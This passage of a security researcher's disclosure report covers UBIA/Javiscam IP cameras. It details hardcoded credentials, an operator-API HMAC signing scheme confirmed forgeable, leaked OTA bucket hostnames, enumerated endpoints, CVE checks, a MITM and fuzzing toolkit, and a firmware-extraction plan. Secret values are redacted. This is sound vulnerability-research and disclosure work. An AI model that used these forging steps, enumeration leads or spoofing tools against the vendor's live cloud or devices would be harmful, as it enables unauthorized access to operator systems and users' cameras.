The same app/getconfig response (V11) leaks the firmware OTA bucket hostnames: ubiaota-us-1312441409.cos.na-siliconvalley.myqcloud.com and ubiaota-cn-1312441409.cos.ap-guangzhou.myqcloud.com. The Tencent Cloud APPID (1312441409) is part of the hostname. The example demo video URL embedded in the response (dev_add_doc/1159_video/...) confirmed individual objects in the bucket are public-read by ACL.
+
Impact
+
With the bucket name + product ID + model number, an attacker can attempt enumeration of firmware paths anonymously. Anonymous bucket listing is denied, but if any firmware object's path is guessable or leaks via another channel, anyone can download it without an account.
+
Discovery notes
+
We attempted 320 anonymous HEAD requests against plausible path templates (dev_add_doc/{pid}/{ver}.bin, firmware/{model}/{ver}.bin, etc.) and got zero hits. The real path scheme is non-obvious. MITM of the camera's own boot-time check should reveal it.
+
+
+ +
+
+ V13 + MED +

Second hardcoded camera password discovered

+
+
+
Vector
+
From cn/ubia/activity/LiveView.java:413 (and LiveViewNew.java, LiveViewNew2.java, AddCarmeraSearchActivity.java): a second hardcoded camera credential is used as a fallback in the live-view code paths, alongside the primary admin/<V01-leaked-pwd> pair. The string is unique enough that it has zero hits on the public web — meaning it is UBIA-specific, not part of any common Yoosee/VStarcam shared default set. Specific password redacted from this public report.
+
Impact
+
Adds a second guessable local credential. Combined with V01 and the box-mode admin/admin from BoxWireReady.java:421, the camera local-auth attack surface has at least three default username/password pairs.
+
+
+ +
+
+ V14 + HIGH +

OAM admin HMAC secret hardcoded — LIVE-CONFIRMED forging

+
+
+
Vector
+
From com/http/OamHttpClient.java:28: the operator/admin client embeds a hardcoded HMAC-SHA1 secret used to sign requests against UBIA's operator tier at https://oam.ubianet.com/api/. The signing scheme (from the same file plus com/http/Encryption.java) is: +
+sig_str = <timestamp_ms> + ":" + <appid> + ":" + <clientId> + ":" + <body>
+sig     = HmacSHA1(sig_str.utf8, secret.bytes)  // hex-encoded
+
+ Headers sent: OAM-SIGN, OAM-APPID: 30001, CLIENT-ID, timestamp. Specific secret value redacted from this public report.
+ +
Reproduction (live-confirmed)
+
We reproduced the signing scheme in our own client and posted to the only OAM endpoint visible in the app source (lgc/bind_err). The server accepted our forged signature and returned {"code": 0, "data": "", "msg": "success"}. We then posted to the second known OAM endpoint (app/push_channel_reg) and received a structured response back containing the registration schema ({app_id, account, channel_id, mobile_info, token_id, err_title, err_msg}) — confirming both endpoints are live and our signature is valid.
+ +
Impact
+
Any holder of the consumer APK can extract the secret in seconds and forge arbitrary requests against UBIA's operator/admin API. The full OAM endpoint set is not enumerated in the consumer app — only two endpoints are visible — but the existence of an authenticated operator tier with a fixed HMAC secret is itself a critical issue. Anyone willing to guess endpoint paths and replay them will eventually find the bulk-management routes.
+ +
Mitigation
+
Stop putting OAM credentials in the consumer APK at all. The consumer app has no business signing requests against an operator tier; if the consumer needs to report binding errors back to the vendor, that should be a regular authenticated user-tier endpoint, not the OAM tier. Rotate the secret immediately.
+
+
+ +
+
+ V15 + MED +

SIM2 cellular API AppID/Secret hardcoded

+
+
+
Vector
+
From com/http/NewApiHttpClient.java:190-191: a cellular SIM management API (China Mobile OneLink-style) is signed with a hardcoded AppID + AppSecret pair embedded directly in the consumer APK.
+
Impact
+
Only relevant for SIM-equipped UBIA models (cellular cameras) but completely exposed for those. Allows forging of SIM-activation, data-package, and cellular-management requests against the cellular provider's portal.
+
+
+ +
+
+ V16 + INFO +

Native libUBICAPIs.so confirms rebranded Kalay stack

+
+
+
Vector
+
The bundled native libraries are a rebranded ThroughTek Kalay SDK. Confirmed by: +
    +
  • Symbols: p4p_crypto_init, p4p_crypto_encode, p4p_crypto_decode, p4p_device_auth, p4p_device_update_auth, p4p_client_send_masterhello, g_P4PCrypto, device_update_master
  • +
  • JNI bridge classes: com/ubia/p4p/UBICAPIs/p4p_*
  • +
  • Java class references: com/tutk/IOTC/st_LanSearchInfo2
  • +
  • Format strings: STREAMREQ_COST: %u ms(P2P) UID:%s deviceSID:%d clientSID:%d
  • +
  • Master hostnames in .rodata: portal.us.ubianet.com, portal.cn.ubianet.com, portal.ubianet.com
  • +
  • Photo bucket hostnames in .rodata: ubiasnap-eu.oss-eu-central-1.aliyuncs.com, ubiasnap-as.oss-ap-southeast-1.aliyuncs.com
  • +
+
Notes on crypto material
+
OpenSSL is statically linked into the native lib and symbols are stripped. p4p_crypto_init does not load any static auth key — it allocates buffers and the key is supplied at runtime by a caller. The TUTK auth key is therefore either runtime-derived from the cloud login response, or compiled into the device-side firmware (not the app). Further extraction will require either Frida hooks on a running app or device-side firmware extraction.
+
+
+ +
+
+ V17 + MED +

user/account/get_current_user leaks personal data

+
+
+
Vector
+
The authenticated POST /api/user/account/get_current_user endpoint returns the full user profile: account email, internal numeric user ID (kuid), per-user identifier (uuid), login node, language code, mobile brand/version, app ID, app version, device type, email-verification flag, WeChat binding status, and a pre-signed Alibaba OSS avatar URL (V10) embedding the access key ID.
+
Impact
+
Combined with V11 (cloud config leak) and V10 (signed avatar URL), an authenticated user gets a complete account fingerprint suitable for IDOR testing on other users. Internal numeric IDs (kuid) are sequential, making horizontal privilege escalation worth probing.
+
+
+ +
+
+ V18 + INFO +

146 API endpoints discoverable from the decompiled APK

+
+
+
Vector
+
A static grep for getAbsoluteUrl(...) and okPost(...) across the decompiled com/ package returns 146 distinct endpoint paths — every cloud API call the consumer app can make. We harvested all of them into our fuzzer's KNOWN_ENDPOINTS list.
+
Notable categories
+
+
    +
  • pub/usersupport/* — guest IM endpoints, less authenticated
  • +
  • mt/biz/* — payment / business endpoints (Alipay, PayPal, WeChat Pay)
  • +
  • user/qry/* — query endpoints (notifications, orders, devices, dynamic info)
  • +
  • user/auth* — alternate auth flows (user/auth, user/auth-email, user/faceId)
  • +
  • interface, interface.php, old — legacy paths worth probing for unauthenticated access
  • +
  • user/device-temp-token, temp_token — short-lived token paths
  • +
+
+
+
+ +
+
+ V19 + INFO +

SoC identified: Ingenic T31 — enables OpenIPC pivot

+
+
+
Vector
+
UBIA's own corporate intro page (ubia.com.cn/intro/1.html, Chinese-language) explicitly states they "launched a Junzheng T31 low-power doorbell / battery camera" and have shipped over three million low-power units. Junzheng is the Chinese name for Ingenic. Combined with the Kalay/UBIC P2P stack, the battery use case, and the standard cheap-IPC reference design, the SoC family is the Ingenic T31 (likely T31N or T31X).
+
Why it matters
+
Ingenic T31 is fully supported by the open-source OpenIPC project: open-source u-boot, kernel, ISP libraries, NAND tools, hack-ingenic toolchain. Once the SoC is physically confirmed (PCB chip marking on a ~10×10mm QFN package marked INGENIC T31), the path to firmware extraction is well-known: enter U-Boot via UART, dump NAND, mount the rootfs, and read the device-side libIOTCAPIs.so — which is where the runtime TUTK auth key (V16) lives.
+
+
+ +
+
+ V20 + INFO +

Vendor legal entity & disclosure contacts identified

+
+
+
Legal entity
+
Shenzhen Qingshi Internet Technology Co., Ltd. (深圳市青视互联科技有限公司), trading as UBIA Technologies Co., Ltd. Founded 2014. Address: Room 1801–1805, Huafeng International Business Building, Xixiang Street, Bao'an District, Shenzhen, Guangdong, China.
+
Disclosure contacts
+
Allen_fang@ubia.cn and support@ubia.cn. CISA already attempted contact regarding CVE-2025-12636 and UBIA did not respond. Worth a direct attempt to Allen_fang@ubia.cn with the V11–V20 findings before publication.
+
Sister app
+
com.ubianet.uboxpro — installer / professional SKU using the same backend. Worth pulling and diffing for additional admin-tier endpoints.
+
+
+ +
+ +
+ + +
+
CVEs Verified On This Device
+ +
+
+ CVE-2025-12636 + CVSSv3 6.5 / CVSSv4 7.1 + VULN · LIVE +
+

Ubia Ubox Insufficiently Protected Credentials (CWE-522)

+

Reproduces V01 above. The vendor's user/device_list endpoint returns the IOTC P2P device-auth password in plaintext to any authenticated owner. CISA tried to coordinate disclosure via advisory ICSA-25-310-02 in October 2025; UBIA did not respond. Our independent verification reproduces the issue against current shipping firmware (2604.1.2.69) using a fresh consumer account — no privileged access required, no other tricks. The relevant verifier in our toolchain is api/cve_checks.py verify_cve_2025_12636().

+
+ +
+
+ CVE-2021-28372 + CVSS 9.6 + VULN · PRECONDITIONS MET +
+

ThroughTek Kalay UID-based session hijack

+

The Kalay master server identifies cameras by 20-character alphanumeric UID alone. An attacker who knows the UID can register the same identifier against the master and intercept the next legitimate client login. The UBIC stack on this device is the rebranded Kalay SDK (V05, V16); the vector applies. We verified preconditions — UID format, P2P stack alive, master servers reachable — without performing the spoof against my own device. Verifier: verify_cve_2021_28372(). CISA advisory: ICSA-21-229-01.

+
+ +
+
+ CVE-2023-6322 / 6323 / 6324 + RCE chain + POTENTIAL +
+

ThroughTek Kalay LAN parser chain (Bitdefender)

+

Three flaws in the Kalay LAN protocol parser: an auth bypass, a heap overflow, and a stack overflow. The native binary on this device is confirmed Kalay (V05, V16); the chain applies. Verified non-destructively — no overflow payloads were sent to the live camera. The verifier uses only safe small probes against the device's UDP P2P listener and reports based on stack fingerprint and pre/post-probe liveness. Verifier: verify_cve_2023_6322_chain().

+
+ +
+ +
+ + +
+
Tools Built For This Engagement
+
+

Every tool used in this engagement is original. None of the off-the-shelf IoT pentest frameworks knew anything about this device. The whole stack is published as repo.seteclabs.io/SetecLabs/cam-mitm and is reusable as a template for any TUTK Kalay-based camera (or any IP camera with cloud + P2P architecture).

+ +

setec_suite/cam-mitm

+

Camera MITM & pentesting framework. PyQt6 GUI on top of a curses TUI on top of a service controller. Real-time intercept, fuzz, inject, attack-chain runner.

+ +
    +
  • gui.py — PyQt6 dashboard, nine tabs (Dashboard, Live Log, Intruders, Cloud API, Fuzzer, Inject, CVEs, Config, Help). Wraps the same Controller as the curses TUI so both UIs work.
  • +
  • mitm.py — curses TUI + Controller class with per-service start/stop and iptables management.
  • +
  • services/arp_spoof.py — ARP poisoning with auto-cleanup on exit.
  • +
  • services/dns_spoof.py — Selective DNS hijack for cloud hostnames.
  • +
  • services/http_server.py — HTTP/HTTPS interception with peek-before-wrap (so non-TLS traffic on :443 doesn't get lost when we wrap_socket too aggressively).
  • +
  • services/udp_listener.py — UDP P2P / push capture on configurable ports.
  • +
  • services/sniffer.py — Raw packet sniffer with conntrack-based original-destination lookup and per-packet protocol fingerprinting.
  • +
  • services/intruder_watch.py — Detects ARP-spoof attempts against the camera, unknown LAN peers contacting the camera, and outbound destinations not on the known cloud whitelist.
  • +
  • api/ubox_client.py — UBox cloud client. Login, devices, firmware check, families, raw POST. Plus the OAM HMAC signing client that forges admin requests with the V14-leaked secret.
  • +
  • api/fuzzer.py — API endpoint discovery (146 known + ~600-entry wordlist), parameter mutation, auth-bypass tests.
  • +
  • api/firmware_fetch.py — Multi-version check_version caller, walks the response for any URL, downloads any firmware-shaped object found.
  • +
  • api/ota_bucket_probe.py — Anonymous HEAD enumeration of UBIA's Tencent COS firmware buckets across 320 path templates.
  • +
  • api/cve_checks.py — Original PoC verifiers for CVE-2025-12636, CVE-2021-28372, CVE-2023-6322/3/4 + markdown report generator. Non-destructive — every verifier reports VULN/NOT_VULN/UNKNOWN with evidence and never sends an exploit payload.
  • +
  • api/server.py — Local REST API on :9090 for external tool integration / AI-assisted automation.
  • +
  • inject/packet.py — UDP/ARP/DNS packet injection.
  • +
  • utils/log.py — Shared logging with 1 GiB log rotation.
  • +
  • utils/proto.py — Payload-to-protocol fingerprinting from the first 6 bytes (TLS, HTTP, RTSP, IOTC, STUN, DNS, NTP, MQTT, SSDP, etc.).
  • +
  • regen_cert.sh — Regenerates the MITM SSL cert with full SAN list (*.ubianet.com, *.aliyuncs.com, *.myqcloud.com, target IP).
  • +
+
+
+ +
+ + +
+
The Tool In Action
+
+

Live screenshots from the engagement. All sensitive specifics (account email, JWTs, tokens, API keys) are blacked out where they appeared.

+ +
+ SetecSuite Dashboard tab — services running, protocols counted, target identified +
Dashboard. Eight services live (ARP, DNS, HTTP, HTTPS, UDP/10240, UDP/20001, sniffer, intruder watch). Clickable per-service toggle. Protocol counter at the bottom. Target camera at 192.168.1.187 on the same /24 as the analysis box.
+
+ +
+ SetecSuite Live Log — DNS spoof entries plus intruder events for the camera contacting unlisted hosts +
Live Log. The camera does an absolute storm of DNS lookups on every boot. Shown: it's resolving m1.ubianet.com through m8.ubianet.com (its own Kalay master servers, which we hadn't enumerated until this run), plus device-log.ubianet.com, and a previously-unknown EU bucket family at ubiabox-eu-1312441409.cos.eu-frankfurt.myqcloud.com, ubiabox-eu.oss-eu-central-1.aliyuncs.com, and ubiabox-eu.s3-accelerate.dualstack.amazonaws.com. The intruder watcher also caught the camera contacting an unlisted host on TCP/80 (top of the trace).
+
+ +
+ Intruder events table showing ARP spoof and unknown destination flags +
Intruders. 28 events captured during a single boot cycle. One ARP_SPOOF event (the camera observed an ARP reply for its own IP from a non-camera MAC during our positioning) and 27 UNKNOWN_DST events (the camera reaching out to internet hosts that aren't on our pre-built whitelist of known UBIA / Tencent / Alibaba / Akamai blocks).
+
+ +
+ Cloud API tab showing the credential leak response — sensitive fields redacted +
Cloud API tab. The result panel at the bottom shows a real POST /api/user/noti/device/info_changed response. Email, password, and the JWT preview have been blacked out at the field level — only the field labels and the redaction markers are visible.
+
+
+
+ +
+ + +
+
What We Couldn't Get
+
+

The one thing this engagement could not extract was the actual firmware binary. Three reasons.

+ +
    +
  1. + 01 +
    + The cloud refuses to push it. Multiple check_version/v3 calls with progressively older fake versions (down to 2604.0.0.1) all return {"data":{"result":{}},"msg":"success"}. The cloud accepts the request shape — we verified against com/apiv3/bean/AdvancedSettings.java:827-857 byte-for-byte — but has no OTA campaign active for this model. The vendor either retired the model or pinned it to its current shipped version permanently. +
    +
  2. +
  3. + 02 +
    + The OTA bucket name leaked but listing is locked. We extracted ubiaota-us-1312441409.cos.na-siliconvalley.myqcloud.com from app/getconfig. We confirmed individual files can be public-read (a demo MP4 at dev_add_doc/1159_video/... is anonymous-readable). But anonymous bucket listing returns AccessDenied, and 320 guessed paths for our product ID returned zero hits. Without the real filename pattern, blind enumeration is hopeless. +
    +
  4. +
  5. + 03 +
    + The TUTK auth key isn't in the app. We dumped every native library in the APK. libUBICAPIs.so has the symbols (p4p_crypto_init, p4p_device_auth, p4p_client_send_masterhello) but no static auth key. p4p_crypto_init allocates buffers and the key is supplied at runtime by a caller. The TUTK key is therefore either runtime-derived from the cloud login response, or compiled into the device-side firmware (not the app). +
    +
  6. +
+ +

The path forward is one of: (a) MITM the camera's own boot-time firmware check on a live network and capture the URL the cloud serves to the device itself; (b) Frida-hook the running app and dump p4p_crypto_init's arguments at runtime; (c) physical UART access to the camera, drop into U-Boot, dump NAND, extract the device-side libraries — the standard OpenIPC T31 flow now that we've identified the SoC (V19).

+ +

Phase 2 — Hardware Teardown (planned)

+

The next phase of this engagement, scheduled for the disclosure-window period, is a full physical teardown and hardware-side analysis:

+
    +
  • Open the case — non-destructive disassembly, document every screw and clip for reassembly
  • +
  • Identify the SoC by chip marking on the QFN package (~10×10mm). UBIA's own marketing says Ingenic T31 (V19); we confirm with the eyeball
  • +
  • Map the PCB — identify UART TX/RX/GND test points (often labeled, often four pads in a row near the SoC), SPI flash chip, NAND chip, status LEDs, and any debug headers
  • +
  • Hook a USB-UART adapter at standard 115200 8N1 and capture the U-Boot boot log + Linux dmesg. The boot log alone almost always reveals: kernel version, rootfs layout, MTD partition map, secondary boot args, and any failsafe modes
  • +
  • Drop into U-Boot by hitting Enter during the 1-second boot countdown. From U-Boot we can md arbitrary memory, nand dump the entire flash, and load custom kernels via TFTP
  • +
  • Dump NAND — either via U-Boot's nand dump command, or by physically lifting the SPI flash with a clip programmer (CH341A or similar). Image is then mounted with jefferson / ubidump / binwalk to extract the rootfs
  • +
  • Extract the device-side libIOTCAPIs.so — this is the missing piece from the app-side analysis (V16). The device-side library is where the runtime TUTK auth key actually lives, and where any encryption key derivation happens. With the rootfs in hand, this is a 60-second find + strings job
  • +
  • Identify any custom firmware obfuscation — UBIA may apply XOR, AES, or simple bit-rotation to firmware images on the OTA path. Whatever scheme they use is hardcoded in the device-side bootloader and trivially recovered with rootfs access
  • +
  • Build OpenIPC for the confirmed T31 variant and flash a known-good bootable image. This gives us a permanent root shell on the device for ongoing research, and lets us replay traffic against UBIA's cloud as the camera
  • +
  • Document everything — PCB photos, pinout diagrams, U-Boot environment, partition layout, and the firmware extraction recipe. Shipped as a Phase 2 addendum to this report so other researchers don't have to repeat the same work
  • +
+

Once Phase 2 is complete, the remaining gaps in this report — specifically, the runtime TUTK auth key (V16) and the actual filename string the cloud uses for OTA paths (V12) — should both be filled in. Phase 2 will be published as camhak.seteclabs.io/phase2 when complete, or merged into this report if the disclosure window has not yet closed.

+
+
+ +
+ + +
+
Disclosure Timeline
+
+ + + + + + + + + + +
DateEvent
2025-10-XXCISA publishes ICSA-25-310-02 (CVE-2025-12636); UBIA does not respond to coordination
2026-03-30Setec Labs begins independent investigation of the Javiscam 2604
2026-04-09Findings V01–V20 documented; live verification of CVE-2025-12636 and OAM secret forging completed
2026-04-09This report published with sensitive specifics redacted; vendor notified at Allen_fang@ubia.cn
2026-07-08+90 days. If no vendor response by this date, full unredacted artifact pack is released publicly
+ +

One CVE on this device is already public: CVE-2025-12636 went out via CISA in October 2025. The advisory specifically notes that UBIA did not respond to coordination attempts. Our independent verification reproduces the exact issue against current shipping firmware.

+ +

The other findings (V11–V20) are new. We are sitting on the most sensitive specifics — the actual leaked secret values, the alternate hardcoded password, and any working OAM endpoint paths discovered after publication — and will not publish those until either:

+ +
    +
  • UBIA acknowledges the report and ships fixes for V11–V20, OR
  • +
  • 90 days pass with no response, matching standard responsible-disclosure practice.
  • +
+ +

If you are at UBIA and want to talk before the clock runs out, the contact is below. If you are a CISA coordinator who handled the original ICSA-25-310-02 disclosure and want the unredacted technical pack, same address.

+ +
+
+ +
+ + +
+
Contact
+
+

For the unredacted artifact pack, coordinated disclosure inquiries, or follow-up questions on methodology:

+

+ sssnake [at] seteclabs.io +

+

PGP key: seteclabs.io/sssnake.asc

+

Source code: repo.seteclabs.io/SetecLabs/cam-mitm

+

This report: camhak.seteclabs.io

+

SsSnake  //  Lord of the Abyss

+
+
+ +
+ +
+
"The only secure system is one that's powered off, cast in a block of concrete and sealed in a lead-lined room with armed guards — and even then I have my doubts."
+
— Gene Spafford
+
+ +
+ +
+ guest@setec:~/camhak$ cat report.md | wc -w +
+ + + +